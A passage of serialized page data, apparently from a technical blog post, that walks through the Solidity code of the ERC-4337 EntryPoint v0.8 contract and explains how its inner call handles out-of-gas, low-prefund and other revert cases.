context));\n",{"type":25,"tag":201,"props":106011,"children":106012},{"class":203,"line":572},[106013,106017],{"type":25,"tag":201,"props":106014,"children":106015},{"style":220},[106016],{"type":31,"value":71676},{"type":25,"tag":201,"props":106018,"children":106019},{"style":230},[106020],{"type":31,"value":106021},"else\n",{"type":25,"tag":201,"props":106023,"children":106024},{"class":203,"line":590},[106025],{"type":25,"tag":201,"props":106026,"children":106027},{"style":220},[106028],{"type":31,"value":569},{"type":25,"tag":201,"props":106030,"children":106031},{"class":203,"line":608},[106032,106036,106040,106044,106048,106052,106056,106060],{"type":25,"tag":201,"props":106033,"children":106034},{"style":220},[106035],{"type":31,"value":105980},{"type":25,"tag":201,"props":106037,"children":106038},{"style":261},[106039],{"type":31,"value":1383},{"type":25,"tag":201,"props":106041,"children":106042},{"style":208},[106043],{"type":31,"value":104761},{"type":25,"tag":201,"props":106045,"children":106046},{"style":220},[106047],{"type":31,"value":80},{"type":25,"tag":201,"props":106049,"children":106050},{"style":214},[106051],{"type":31,"value":105967},{"type":25,"tag":201,"props":106053,"children":106054},{"style":220},[106055],{"type":31,"value":298},{"type":25,"tag":201,"props":106057,"children":106058},{"style":208},[106059],{"type":31,"value":19190},{"type":25,"tag":201,"props":106061,"children":106062},{"style":220},[106063],{"type":31,"value":106064},".innerHandleOp, (callData, opInfo, context));\n",{"type":25,"tag":201,"props":106066,"children":106067},{"class":203,"line":617},[106068],{"type":25,"tag":201,"props":106069,"children":106070},{"style":220},[106071],{"type":31,"value":59964},{"type":25,"tag":201,"props":106073,"children":106074},{"class":203,"line":625},[106075,106080,106084,106089],{"type":25,"tag":201,"props":106076,"children":106077},{"style":214},[106078],{"type":31,"value":106079},"            assembly",{"type":25,"tag":201,"props":106081,"children":106082},{"style":220},[106083],{"type":31,"value":238},{"type":25,"tag":201,"props":106085,"children":106086},{"style":267},[106087],{"type":31,"value":106088},"\"memory-safe\"",{"type":25,"tag":201,"props":106090,"children":106091},{"style":220},[106092],{"type":31,"value":275},{"type":25,"tag":201,"props":106094,"children":106095},{"class":203,"line":642},[106096,106101,106105,106109,106113,106118,106122,106126,106130,106134,106138,106142,106147,106152,106156,106161,106166,106170,106174,106178],{"type":25,"tag":201,"props":106097,"children":106098},{"style":220},[106099],{"type":31,"value":106100},"                success ",{"type":25,"tag":201,"props":106102,"children":106103},{"style":261},[106104],{"type":31,"value":23102},{"type":25,"tag":201,"props":106106,"children":106107},{"style":214},[106108],{"type":31,"value":42034},{"type":25,"tag":201,"props":106110,"children":106111},{"style":220},[106112],{"type":31,"value":298},{"type":25,"tag":201,"props":106114,"children":106115},{"style":214},[106116],{"type":31,"value":106117},"gas",{"type":25,"tag":201,"props":106119,"children":106120},{"style":220},[106121],{"type":31,"value":19873},{"type":25,"tag":201,"props":106123,"children":106124},{"style":4925},[106125],{"type":31,"value":1567},{"type":25,"tag":201,"props":106127,"children":106128},{"style":220},[106129],{"type":31,"value":19873},{"type":25,"tag":201,"props":106131,"children":106132},{"style":426},[106133],{"type":31,"value":429},{"type":25,"tag":201,"props":106135,"children":106136},{"style":220},[106137],{"type":31,"value":919},{"type":25,"tag":201,"props":106139,"children":106140},{"style":214},[106141],{"type":31,"value":2011},{"type":25,"tag":201,"props":106143,"children":106144},{"style":220},[106145],{"type":31,"value":106146},"(innerCall, ",{"type":25,"tag":201,"props":106148,"children":106149},{"style":426},[106150],{"type":31,"value":106151},"0x20",{"type":25,"tag":201,"props":106153,"children":106154},{"style":220},[106155],{"type":31,"value":16674},{"type":25,"tag":201,"props":106157,"children":106158},{"style":214},[106159],{"type":31,"value":106160},"mload",{"type":25,"tag":201,"props":106162,"children":106163},{"style":220},[106164],{"type":31,"value":106165},"(innerCall), ",{"type":25,"tag":201,"props":106167,"children":106168},{"style":426},[106169],{"type":31,"value":429},{"type":25,"tag":201,"props":106171,"children":106172},{"style":220},[106173],{"type":31,"value":919},{"type":25,"tag":201,"props":106175,"children":106176},{"style":426},[106177],{"type":31,"value":61426},{"type":25,"tag":201,"props":106179,"children":106180},{"style":220},[106181],{"type":31,"value":4666},{"type":25,"tag":201,"props":106183,"children":106184},{"class":203,"line":659},[106185,106190,106194,106199,106203,106207],{"type":25,"tag":201,"props":106186,"children":106187},{"style":220},[106188],{"type":31,"value":106189},"                collected ",{"type":25,"tag":201,"props":106191,"children":106192},{"style":261},[106193],{"type":31,"value":23102},{"type":25,"tag":201,"props":106195,"children":106196},{"style":214},[106197],{"type":31,"value":106198}," mload",{"type":25,"tag":201,"props":106200,"children":106201},{"style":220},[106202],{"type":31,"value":298},{"type":25,"tag":201,"props":106204,"children":106205},{"style":426},[106206],{"type":31,"value":429},{"type":25,"tag":201,"props":106208,"children":106209},{"style":220},[106210],{"type":31,"value":4666},{"type":25,"tag":201,"props":106212,"children":106213},{"class":203,"line":667},[106214],{"type":25,"tag":201,"props":106215,"children":106216},{"style":220},[106217],{"type":31,"value":59964},{"type":25,"tag":201,"props":106219,"children":106220},{"class":203,"line":676},[106221,106226],{"type":25,"tag":201,"props":106222,"children":106223},{"style":214},[106224],{"type":31,"value":106225},"            _restoreFreePtr",{"type":25,"tag":201,"props":106227,"children":106228},{"style":220},[106229],{"type":31,"value":106230},"(saveFreePtr);\n",{"type":25,"tag":201,"props":106232,"children":106233},{"class":203,"line":694},[106234],{"type":25,"tag":201,"props":106235,"children":106236},{"style":220},[106237],{"type":31,"value":4853},{"type":25,"tag":201,"props":106239,"children":106240},{"class":203,"line":707},[106241,106245,106249,106253],{"type":25,"tag":201,"props":106242,"children":106243},{"style":230},[106244],{"type":31,"value":4779},{"type":25,"tag":201,"props":106246,"children":106247},{"style":220},[106248],{"type":31,"value":238},{"type":25,"tag":201,"props":106250,"children":106251},{"style":261},[106252],{"type":31,"value":4114},{"type":25,"tag":201,"props":106254,"children":106255},{"style":220},[106256],{"type":31,"value":106257},"success) {\n",{"type":25,"tag":201,"props":106259,"children":106260},{"class":203,"line":715},[106261],{"type":25,"tag":201,"props":106262,"children":106263},{"style":220},[106264],{"type":31,"value":105885},{"type":25,"tag":201,"props":106266,"children":106267},{"class":203,"line":732},[106268,106272,106277,106281],{"type":25,"tag":201,"props":106269,"children":106270},{"style":230},[106271],{"type":31,"value":59880},{"type":25,"tag":201,"props":106273,"children":106274},{"style":220},[106275],{"type":31,"value":106276}," (innerRevertCode ",{"type":25,"tag":201,"props":106278,"children":106279},{"style":261},[106280],{"type":31,"value":10083},{"type":25,"tag":201,"props":106282,"children":106283},{"style":220},[106284],{"type":31,"value":106285}," INNER_OUT_OF_GAS) {\n",{"type":25,"tag":201,"props":106287,"children":106288},{"class":203,"line":749},[106289],{"type":25,"tag":201,"props":106290,"children":106291},{"style":4497},[106292],{"type":31,"value":106293},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":25,"tag":201,"props":106295,"children":106296},{"class":203,"line":757},[106297],{"type":25,"tag":201,"props":106298,"children":106299},{"style":4497},[106300],{"type":31,"value":106301},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":25,"tag":201,"props":106303,"children":106304},{"class":203,"line":765},[106305,106310,106315,106320,106325],{"type":25,"tag":201,"props":106306,"children":106307},{"style":230},[106308],{"type":31,"value":106309},"                revert",{"type":25,"tag":201,"props":106311,"children":106312},{"style":214},[106313],{"type":31,"value":106314}," FailedOp",{"type":25,"tag":201,"props":106316,"children":106317},{"style":220},[106318],{"type":31,"value":106319},"(opIndex, ",{"type":25,"tag":201,"props":106321,"children":106322},{"style":267},[106323],{"type":31,"value":106324},"\"AA95 out of gas\"",{"type":25,"tag":201,"props":106326,"children":106327},{"style":220},[106328],{"type":31,"value":308},{"type":25,"tag":201,"props":106330,"children":106331},{"class":203,"line":783},[106332,106336,106340,106344,106348,106352],{"type":25,"tag":201,"props":106333,"children":106334},{"style":220},[106335],{"type":31,"value":71676},{"type":25,"tag":201,"props":106337,"children":106338},{"style":230},[106339],{"type":31,"value":322},{"type":25,"tag":201,"props":106341,"children":106342},{"style":230},[106343],{"type":31,"value":17283},{"type":25,"tag":201,"props":106345,"children":106346},{"style":220},[106347],{"type":31,"value":106276},{"type":25,"tag":201,"props":106349,"children":106350},{"style":261},[106351],{"type":31,"value":10083},{"type":25,"tag":201,"props":106353,"children":106354},{"style":220},[106355],{"type":31,"value":106356}," INNER_REVERT_LOW_PREFUND) {\n",{"type":25,"tag":201,"props":106358,"children":106359},{"class":203,"line":792},[106360],{"type":25,"tag":201,"props":106361,"children":106362},{"style":4497},[106363],{"type":31,"value":106364},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":25,"tag":201,"props":106366,"children":106367},{"class":203,"line":801},[106368,106372,106377,106381,106386,106390,106395,106399,106403],{"type":25,"tag":201,"props":106369,"children":106370},{"style":4925},[106371],{"type":31,"value":104544},{"type":25,"tag":201,"props":106373,"children":106374},{"style":220},[106375],{"type":31,"value":106376}," actualGas ",{"type":25,"tag":201,"props":106378,"children":106379},{"style":261},[106380],{"type":31,"value":1383},{"type":25,"tag":201,"props":106382,"children":106383},{"style":220},[106384],{"type":31,"value":106385}," preGas ",{"type":25,"tag":201,"props":106387,"children":106388},{"style":261},[106389],{"type":31,"value":5832},{"type":25,"tag":201,"props":106391,"children":106392},{"style":208},[106393],{"type":31,"value":106394}," gasleft",{"type":25,"tag":201,"props":106396,"children":106397},{"style":220},[106398],{"type":31,"value":15545},{"type":25,"tag":201,"props":106400,"children":106401},{"style":261},[106402],{"type":31,"value":5886},{"type":25,"tag":201,"props":106404,"children":106405},{"style":220},[106406],{"type":31,"value":106407}," opInfo.preOpGas;\n",{"type":25,"tag":201,"props":106409,"children":106410},{"class":203,"line":809},[106411,106415,106419,106423],{"type":25,"tag":201,"props":106412,"children":106413},{"style":4925},[106414],{"type":31,"value":104544},{"type":25,"tag":201,"props":106416,"children":106417},{"style":220},[106418],{"type":31,"value":105191},{"type":25,"tag":201,"props":106420,"children":106421},{"style":261},[106422],{"type":31,"value":1383},{"type":25,"tag":201,"props":106424,"children":106425},{"style":220},[106426],{"type":31,"value":106427}," opInfo.prefund;\n",{"type":25,"tag":201,"props":106429,"children":106430},{"class":203,"line":857},[106431,106436],{"type":25,"tag":201,"props":106432,"children":106433},{"style":214},[106434],{"type":31,"value":106435},"                _emitPrefundTooLow",{"type":25,"tag":201,"props":106437,"children":106438},{"style":220},[106439],{"type":31,"value":106440},"(opInfo);\n",{"type":25,"tag":201,"props":106442,"children":106443},{"class":203,"line":865},[106444,106449,106454,106458],{"type":25,"tag":201,"props":106445,"children":106446},{"style":214},[106447],{"type":31,"value":106448},"                _emitUserOperationEvent",{"type":25,"tag":201,"props":106450,"children":106451},{"style":220},[106452],{"type":31,"value":106453},"(opInfo, ",{"type":25,"tag":201,"props":106455,"children":106456},{"style":208},[106457],{"type":31,"value":9683},{"type":25,"tag":201,"props":106459,"children":106460},{"style":220},[106461],{"type":31,"value":106462},", actualGasCost, actualGas);\n",{"type":25,"tag":201,"props":106464,"children":106465},{"class":203,"line":931},[106466,106470,106474],{"type":25,"tag":201,"props":106467,"children":106468},{"style":220},[106469],{"type":31,"value":106189},{"type":25,"tag":201,"props":106471,"children":106472},{"style":261},[106473],{"type":31,"value":1383},{"type":25,"tag":201,"props":106475,"children":106476},{"style":220},[106477],{"type":31,"value":106478}," actualGasCost;\n",{"type":25,"tag":201,"props":106480,"children":106481},{"class":203,"line":939},[106482,106486,106490],{"type":25,"tag":201,"props":106483,"children":106484},{"style":220},[106485],{"type":31,"value":71676},{"type":25,"tag":201,"props":106487,"children":106488},{"style":230},[106489],{"type":31,"value":322},{"type":25,"tag":201,"props":106491,"children":106492},{"style":220},[106493],{"type":31,"value":327},{"type":25,"tag":201,"props":106495,"children":106496},{"class":203,"line":960},[106497],{"type":25,"tag":201,"props":106498,"children":106499},{"style":220},[106500],{"type":31,"value":105885},{"type":25,"tag":201,"props":106502,"children":106503},{"class":203,"line":977},[106504,106508,106512,106517],{"type":25,"tag":201,"props":106505,"children":106506},{"style":220},[106507],{"type":31,"value":106189},{"type":25,"tag":201,"props":106509,"children":106510},{"style":261},[106511],{"type":31,"value":1383},{"type":25,"tag":201,"props":106513,"children":106514},{"style":214},[106515],{"type":31,"value":106516}," _postExecution",{"type":25,"tag":201,"props":106518,"children":106519},{"style":220},[106520],{"type":31,"value":4970},{"type":25,"tag":201,"props":106522,"children":106523},{"class":203,"line":994},[106524],{"type":25,"tag":201,"props":106525,"children":106526},{"style":220},[106527],{"type":31,"value":106528},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":25,"tag":201,"props":106530,"children":106531},{"class":203,"line":1016},[106532],{"type":25,"tag":201,"props":106533,"children":106534},{"style":220},[106535],{"type":31,"value":106536},"                    opInfo,\n",{"type":25,"tag":201,"props":106538,"children":106539},{"class":203,"line":1089},[106540],{"type":25,"tag":201,"props":106541,"children":106542},{"style":220},[106543],{"type":31,"value":106544},"                    context,\n",{"type":25,"tag":201,"props":106546,"children":106547},{"class":203,"line":1107},[106548],{"type":25,"tag":201,"props":106549,"children":106550},{"style":220},[106551],{"type":31,"value":106552},"                    actualGas\n",{"type":25,"tag":201,"props":106554,"children":106555},{"class":203,"line":1116},[106556],{"type":25,"tag":201,"props":106557,"children":106558},{"style":220},[106559],{"type":31,"value":106560},"                );\n",{"type":25,"tag":201,"props":106562,"children":106563},{"class":203,"line":1124},[106564],{"type":25,"tag":201,"props":106565,"children":106566},{"style":220},[106567],{"type":31,"value":59964},{"type":25,"tag":201,"props":106569,"children":106570},{"class":203,"line":1163},[106571],{"type":25,"tag":201,"props":106572,"children":106573},{"style":220},[106574],{"type":31,"value":4853},{"type":25,"tag":201,"props":106576,"children":106577},{"class":203,"line":1172},[106578],{"type":25,"tag":201,"props":106579,"children":106580},{"style":220},[106581],{"type":31,"value":4861},{"type":25,"tag":34,"props":106583,"children":106584},{},[106585,106587,106592,106594,106600,106602,106608,106610,106616],{"type":31,"value":106586},"During execution, the ",{"type":25,"tag":115,"props":106588,"children":106590},{"className":106589},[],[106591],{"type":31,"value":103347},{"type":31,"value":106593}," contract makes a ",{"type":25,"tag":71,"props":106595,"children":106598},{"href":106596,"rel":106597},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[75],[106599],{"type":31,"value":39366},{"type":31,"value":106601}," to its own ",{"type":25,"tag":115,"props":106603,"children":106605},{"className":106604},[],[106606],{"type":31,"value":106607},"innerHandleOp",{"type":31,"value":106609}," function through a low-level ",{"type":25,"tag":115,"props":106611,"children":106613},{"className":106612},[],[106614],{"type":31,"value":106615},"call()",{"type":31,"value":106617},". This is done to create a new call context for executing the user operation.",{"type":25,"tag":34,"props":106619,"children":106620},{},[106621,106623,106629,106630,106635,106637,106644,106646,106652],{"type":31,"value":106622},"If this call fails (when ",{"type":25,"tag":115,"props":106624,"children":106626},{"className":106625},[],[106627],{"type":31,"value":106628},"success",{"type":31,"value":7010},{"type":25,"tag":115,"props":106631,"children":106633},{"className":106632},[],[106634],{"type":31,"value":9683},{"type":31,"value":106636},"), the code enters an ",{"type":25,"tag":71,"props":106638,"children":106641},{"href":106639,"rel":106640},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[75],[106642],{"type":31,"value":106643},"error handling",{"type":31,"value":106645}," flow that checks the ",{"type":25,"tag":115,"props":106647,"children":106649},{"className":106648},[],[106650],{"type":31,"value":106651},"innerRevertCode",{"type":31,"value":106653},". There are three possible paths:",{"type":25,"tag":6944,"props":106655,"children":106656},{},[106657,106681,106699],{"type":25,"tag":6948,"props":106658,"children":106659},{},[106660,106661,106666,106667,106673,106675,106680],{"type":31,"value":8989},{"type":25,"tag":115,"props":106662,"children":106664},{"className":106663},[],[106665],{"type":31,"value":106651},{"type":31,"value":7010},{"type":25,"tag":115,"props":106668,"children":106670},{"className":106669},[],[106671],{"type":31,"value":106672},"INNER_OUT_OF_GAS",{"type":31,"value":106674},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":25,"tag":115,"props":106676,"children":106678},{"className":106677},[],[106679],{"type":31,"value":106324},{"type":31,"value":80},{"type":25,"tag":6948,"props":106682,"children":106683},{},[106684,106685,106690,106691,106697],{"type":31,"value":8989},{"type":25,"tag":115,"props":106686,"children":106688},{"className":106687},[],[106689],{"type":31,"value":106651},{"type":31,"value":7010},{"type":25,"tag":115,"props":106692,"children":106694},{"className":106693},[],[106695],{"type":31,"value":106696},"INNER_REVERT_LOW_PREFUND",{"type":31,"value":106698},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":25,"tag":6948,"props":106700,"children":106701},{},[106702,106704,106710,106712,106718],{"type":31,"value":106703},"For any other revert reason, the code will still call ",{"type":25,"tag":115,"props":106705,"children":106707},{"className":106706},[],[106708],{"type":31,"value":106709},"_postExecution()",{"type":31,"value":106711}," but with ",{"type":25,"tag":115,"props":106713,"children":106715},{"className":106714},[],[106716],{"type":31,"value":106717},"PostOpMode.postOpReverted",{"type":31,"value":106719},". This ensures proper cleanup happens even on failure.",{"type":25,"tag":34,"props":106721,"children":106722},{},[106723,106725,106730,106732,106737,106739,106744,106746,106751],{"type":31,"value":106724},"We're particularly interested in the third error path, where ",{"type":25,"tag":115,"props":106726,"children":106728},{"className":106727},[],[106729],{"type":31,"value":106651},{"type":31,"value":106731}," is neither ",{"type":25,"tag":115,"props":106733,"children":106735},{"className":106734},[],[106736],{"type":31,"value":106672},{"type":31,"value":106738}," nor ",{"type":25,"tag":115,"props":106740,"children":106742},{"className":106741},[],[106743],{"type":31,"value":106696},{"type":31,"value":106745},". To understand this case better, let's examine how ",{"type":25,"tag":115,"props":106747,"children":106749},{"className":106748},[],[106750],{"type":31,"value":106607},{"type":31,"value":106752}," works.",{"type":25,"tag":191,"props":106754,"children":106756},{"className":5980,"code":106755,"language":5979,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[106757],{"type":25,"tag":115,"props":106758,"children":106759},{"__ignoreMap":7},[106760,106776,106797,106817,106833,106866,106873,106890,106914,106954,106973,106998,107032,107056,107073,107081,107089,107097,107105,107113,107120,107133,107150,107157,107164,107171,107182,107221,107237,107244],{"type":25,"tag":201,"props":106761,"children":106762},{"class":203,"line":204},[106763,106767,106772],{"type":25,"tag":201,"props":106764,"children":106765},{"style":208},[106766],{"type":31,"value":90915},{"type":25,"tag":201,"props":106768,"children":106769},{"style":214},[106770],{"type":31,"value":106771}," innerHandleOp",{"type":25,"tag":201,"props":106773,"children":106774},{"style":220},[106775],{"type":31,"value":4970},{"type":25,"tag":201,"props":106777,"children":106778},{"class":203,"line":226},[106779,106784,106788,106793],{"type":25,"tag":201,"props":106780,"children":106781},{"style":4925},[106782],{"type":31,"value":106783},"        bytes",{"type":25,"tag":201,"props":106785,"children":106786},{"style":208},[106787],{"type":31,"value":104164},{"type":25,"tag":201,"props":106789,"children":106790},{"style":246},[106791],{"type":31,"value":106792}," callData",{"type":25,"tag":201,"props":106794,"children":106795},{"style":220},[106796],{"type":31,"value":547},{"type":25,"tag":201,"props":106798,"children":106799},{"class":203,"line":278},[106800,106804,106808,106813],{"type":25,"tag":201,"props":106801,"children":106802},{"style":208},[106803],{"type":31,"value":105824},{"type":25,"tag":201,"props":106805,"children":106806},{"style":208},[106807],{"type":31,"value":104164},{"type":25,"tag":201,"props":106809,"children":106810},{"style":246},[106811],{"type":31,"value":106812}," opInfo",{"type":25,"tag":201,"props":106814,"children":106815},{"style":220},[106816],{"type":31,"value":547},{"type":25,"tag":201,"props":106818,"children":106819},{"class":203,"line":311},[106820,106824,106828],{"type":25,"tag":201,"props":106821,"children":106822},{"style":4925},[106823],{"type":31,"value":106783},{"type":25,"tag":201,"props":106825,"children":106826},{"style":208},[106827],{"type":31,"value":104096},{"type":25,"tag":201,"props":106829,"children":106830},{"style":246},[106831],{"type":31,"value":106832}," context\n",{"type":25,"tag":201,"props":106834,"children":106835},{"class":203,"line":330},[106836,106841,106846,106850,106854,106858,106862],{"type":25,"tag":201,"props":106837,"children":106838},{"style":220},[106839],{"type":31,"value":106840},"    ) ",{"type":25,"tag":201,"props":106842,"children":106843},{"style":208},[106844],{"type":31,"value":106845},"external",{"type":25,"tag":201,"props":106847,"children":106848},{"style":230},[106849],{"type":31,"value":77077},{"type":25,"tag":201,"props":106851,"children":106852},{"style":220},[106853],{"type":31,"value":238},{"type":25,"tag":201,"props":106855,"children":106856},{"style":4925},[106857],{"type":31,"value":47244},{"type":25,"tag":201,"props":106859,"children":106860},{"style":246},[106861],{"type":31,"value":104905},{"type":25,"tag":201,"props":106863,"children":106864},{"style":220},[106865],{"type":31,"value":275},{"type":25,"tag":201,"props":106867,"children":106868},{"class":203,"line":397},[106869],{"type":25,"tag":201,"props":106870,"children":106871},{"style":220},[106872],{"type":31,"value":105885},{"type":25,"tag":201,"props":106874,"children":106875},{"class":203,"line":437},[106876,106881,106885],{"type":25,"tag":201,"props":106877,"children":106878},{"style":220},[106879],{"type":31,"value":106880},"        IPaymaster.PostOpMode mode ",{"type":25,"tag":201,"props":106882,"children":106883},{"style":261},[106884],{"type":31,"value":1383},{"type":25,"tag":201,"props":106886,"children":106887},{"style":220},[106888],{"type":31,"value":106889}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":25,"tag":201,"props":106891,"children":106892},{"class":203,"line":464},[106893,106897,106902,106906,106910],{"type":25,"tag":201,"props":106894,"children":106895},{"style":230},[106896],{"type":31,"value":4779},{"type":25,"tag":201,"props":106898,"children":106899},{"style":220},[106900],{"type":31,"value":106901}," (callData.length ",{"type":25,"tag":201,"props":106903,"children":106904},{"style":261},[106905],{"type":31,"value":1342},{"type":25,"tag":201,"props":106907,"children":106908},{"style":426},[106909],{"type":31,"value":4554},{"type":25,"tag":201,"props":106911,"children":106912},{"style":220},[106913],{"type":31,"value":275},{"type":25,"tag":201,"props":106915,"children":106916},{"class":203,"line":490},[106917,106922,106927,106931,106936,106940,106945,106949],{"type":25,"tag":201,"props":106918,"children":106919},{"style":4925},[106920],{"type":31,"value":106921},"            bool",{"type":25,"tag":201,"props":106923,"children":106924},{"style":220},[106925],{"type":31,"value":106926}," success ",{"type":25,"tag":201,"props":106928,"children":106929},{"style":261},[106930],{"type":31,"value":1383},{"type":25,"tag":201,"props":106932,"children":106933},{"style":220},[106934],{"type":31,"value":106935}," Exec.",{"type":25,"tag":201,"props":106937,"children":106938},{"style":214},[106939],{"type":31,"value":39366},{"type":25,"tag":201,"props":106941,"children":106942},{"style":220},[106943],{"type":31,"value":106944},"(mUserOp.sender, ",{"type":25,"tag":201,"props":106946,"children":106947},{"style":426},[106948],{"type":31,"value":429},{"type":25,"tag":201,"props":106950,"children":106951},{"style":220},[106952],{"type":31,"value":106953},", callData, callGasLimit);\n",{"type":25,"tag":201,"props":106955,"children":106956},{"class":203,"line":499},[106957,106961,106965,106969],{"type":25,"tag":201,"props":106958,"children":106959},{"style":230},[106960],{"type":31,"value":59880},{"type":25,"tag":201,"props":106962,"children":106963},{"style":220},[106964],{"type":31,"value":238},{"type":25,"tag":201,"props":106966,"children":106967},{"style":261},[106968],{"type":31,"value":4114},{"type":25,"tag":201,"props":106970,"children":106971},{"style":220},[106972],{"type":31,"value":106257},{"type":25,"tag":201,"props":106974,"children":106975},{"class":203,"line":522},[106976,106980,106985,106989,106994],{"type":25,"tag":201,"props":106977,"children":106978},{"style":4925},[106979],{"type":31,"value":104544},{"type":25,"tag":201,"props":106981,"children":106982},{"style":220},[106983],{"type":31,"value":106984}," freePtr ",{"type":25,"tag":201,"props":106986,"children":106987},{"style":261},[106988],{"type":31,"value":1383},{"type":25,"tag":201,"props":106990,"children":106991},{"style":214},[106992],{"type":31,"value":106993}," _getFreePtr",{"type":25,"tag":201,"props":106995,"children":106996},{"style":220},[106997],{"type":31,"value":1985},{"type":25,"tag":201,"props":106999,"children":107000},{"class":203,"line":531},[107001,107005,107009,107014,107018,107022,107027],{"type":25,"tag":201,"props":107002,"children":107003},{"style":4925},[107004],{"type":31,"value":105941},{"type":25,"tag":201,"props":107006,"children":107007},{"style":208},[107008],{"type":31,"value":104164},{"type":25,"tag":201,"props":107010,"children":107011},{"style":220},[107012],{"type":31,"value":107013}," result ",{"type":25,"tag":201,"props":107015,"children":107016},{"style":261},[107017],{"type":31,"value":1383},{"type":25,"tag":201,"props":107019,"children":107020},{"style":220},[107021],{"type":31,"value":106935},{"type":25,"tag":201,"props":107023,"children":107024},{"style":214},[107025],{"type":31,"value":107026},"getReturnData",{"type":25,"tag":201,"props":107028,"children":107029},{"style":220},[107030],{"type":31,"value":107031},"(REVERT_REASON_MAX_LEN);\n",{"type":25,"tag":201,"props":107033,"children":107034},{"class":203,"line":550},[107035,107039,107044,107048,107052],{"type":25,"tag":201,"props":107036,"children":107037},{"style":230},[107038],{"type":31,"value":104604},{"type":25,"tag":201,"props":107040,"children":107041},{"style":220},[107042],{"type":31,"value":107043}," (result.length ",{"type":25,"tag":201,"props":107045,"children":107046},{"style":261},[107047],{"type":31,"value":1342},{"type":25,"tag":201,"props":107049,"children":107050},{"style":426},[107051],{"type":31,"value":4554},{"type":25,"tag":201,"props":107053,"children":107054},{"style":220},[107055],{"type":31,"value":275},{"type":25,"tag":201,"props":107057,"children":107058},{"class":203,"line":563},[107059,107064,107069],{"type":25,"tag":201,"props":107060,"children":107061},{"style":230},[107062],{"type":31,"value":107063},"                    emit",{"type":25,"tag":201,"props":107065,"children":107066},{"style":214},[107067],{"type":31,"value":107068}," UserOperationRevertReason",{"type":25,"tag":201,"props":107070,"children":107071},{"style":220},[107072],{"type":31,"value":4970},{"type":25,"tag":201,"props":107074,"children":107075},{"class":203,"line":572},[107076],{"type":25,"tag":201,"props":107077,"children":107078},{"style":220},[107079],{"type":31,"value":107080},"                        opInfo.userOpHash,\n",{"type":25,"tag":201,"props":107082,"children":107083},{"class":203,"line":590},[107084],{"type":25,"tag":201,"props":107085,"children":107086},{"style":220},[107087],{"type":31,"value":107088},"                        mUserOp.sender,\n",{"type":25,"tag":201,"props":107090,"children":107091},{"class":203,"line":608},[107092],{"type":25,"tag":201,"props":107093,"children":107094},{"style":220},[107095],{"type":31,"value":107096},"                        mUserOp.nonce,\n",{"type":25,"tag":201,"props":107098,"children":107099},{"class":203,"line":617},[107100],{"type":25,"tag":201,"props":107101,"children":107102},{"style":220},[107103],{"type":31,"value":107104},"                        result\n",{"type":25,"tag":201,"props":107106,"children":107107},{"class":203,"line":625},[107108],{"type":25,"tag":201,"props":107109,"children":107110},{"style":220},[107111],{"type":31,"value":107112},"                    );\n",{"type":25,"tag":201,"props":107114,"children":107115},{"class":203,"line":642},[107116],{"type":25,"tag":201,"props":107117,"children":107118},{"style":220},[107119],{"type":31,"value":72153},{"type":25,"tag":201,"props":107121,"children":107122},{"class":203,"line":659},[107123,107128],{"type":25,"tag":201,"props":107124,"children":107125},{"style":214},[107126],{"type":31,"value":107127},"                _restoreFreePtr",{"type":25,"tag":201,"props":107129,"children":107130},{"style":220},[107131],{"type":31,"value":107132},"(freePtr);\n",{"type":25,"tag":201,"props":107134,"children":107135},{"class":203,"line":667},[107136,107141,107145],{"type":25,"tag":201,"props":107137,"children":107138},{"style":220},[107139],{"type":31,"value":107140},"                mode ",{"type":25,"tag":201,"props":107142,"children":107143},{"style":261},[107144],{"type":31,"value":1383},{"type":25,"tag":201,"props":107146,"children":107147},{"style":220},[107148],{"type":31,"value":107149}," IPaymaster.PostOpMode.opReverted;\n",{"type":25,"tag":201,"props":107151,"children":107152},{"class":203,"line":676},[107153],{"type":25,"tag":201,"props":107154,"children":107155},{"style":220},[107156],{"type":31,"value":59964},{"type":25,"tag":201,"props":107158,"children":107159},{"class":203,"line":694},[107160],{"type":25,"tag":201,"props":107161,"children":107162},{"style":220},[107163],{"type":31,"value":4853},{"type":25,"tag":201,"props":107165,"children":107166},{"class":203,"line":707},[107167],{"type":25,"tag":201,"props":107168,"children":107169},{"emptyLinePlaceholder":17},[107170],{"type":31,"value":496},{"type":25,"tag":201,"props":107172,"children":107173},{"class":203,"line":715},[107174,107178],{"type":25,"tag":201,"props":107175,"children":107176},{"style":230},[107177],{"type":31,"value":104200},{"type":25,"tag":201,"props":107179,"children":107180},{"style":220},[107181],{"type":31,"value":327},{"type":25,"tag":201,"props":107183,"children":107184},{"class":203,"line":732},[107185,107189,107193,107197,107201,107205,107209,107213,107217],{"type":25,"tag":201,"props":107186,"children":107187},{"style":4925},[107188],{"type":31,"value":104212},{"type":25,"tag":201,"props":107190,"children":107191},{"style":220},[107192],{"type":31,"value":106376},{"type":25,"tag":201,"props":107194,"children":107195},{"style":261},[107196],{"type":31,"value":1383},{"type":25,"tag":201,"props":107198,"children":107199},{"style":220},[107200],{"type":31,"value":106385},{"type":25,"tag":201,"props":107202,"children":107203},{"style":261},[107204],{"type":31,"value":5832